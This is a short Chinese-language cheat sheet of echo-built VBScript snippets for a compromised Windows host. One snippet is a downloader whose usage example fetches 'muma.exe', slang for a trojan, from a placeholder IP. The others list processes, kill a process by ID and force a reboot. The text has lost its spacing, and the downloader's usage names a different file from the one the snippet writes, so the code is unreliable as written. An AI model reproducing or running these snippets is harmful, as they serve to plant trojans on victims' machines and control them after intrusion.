1.文件下载(无回显)

echoiLocal=LCase(WScript.Arguments(1))>iget.vbe

echoiRemote=LCase(WScript.Arguments(0))>>iget.vbe

echoSetxPost=CreateObject("Microsoft.XMLHTTP")>>iget.vbe

echoxPost.Open"GET",iRemote,0>>iget.vbe

echoxPost.Send()>>iget.vbe

echoSetsGet=CreateObject("ADODB.Stream")>>iget.vbe

echosGet.Mode=3>>iget.vbe

echosGet.Type=1>>iget.vbe

echosGet.Open()>>iget.vbe

echosGet.Write(xPost.responseBody)>>iget.vbe

echosGet.SaveToFileiLocal,2>>iget.vbe

用法:cscripthget.vbshttp://111.111.111.111/muma.exemuma.exe

2.列举进程

@echoforeachpsingetobject_>ps.vbs

@echo("winmgmts:.rootcimv2:win32_process").instances_>>ps.vbs

@echowscript.echops.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next>>ps.vbs

用法:cscriptps.vbs

3.终止进程

@echoforeachpsingetobject_>pskill.vbs

@echo("winmgmts:.rootcimv2:win32_process").instances_>>pskill.vbs

@echoifps.handle=wscript.arguments(0)thenwscript.echops.terminate:endif:next>>pskill.vbs

用法:cscriptpskill.vbspid

4.重启系统

@echoforeachosingetobject_>reboot.vbs

@echo("winmgmts:!.rootcimv2:win32_operatingsystem").instances_>>reboot.vbs

@echoos.win32shutdown(2):next>>reboot.vbs

用法:cscriptreboot.vbs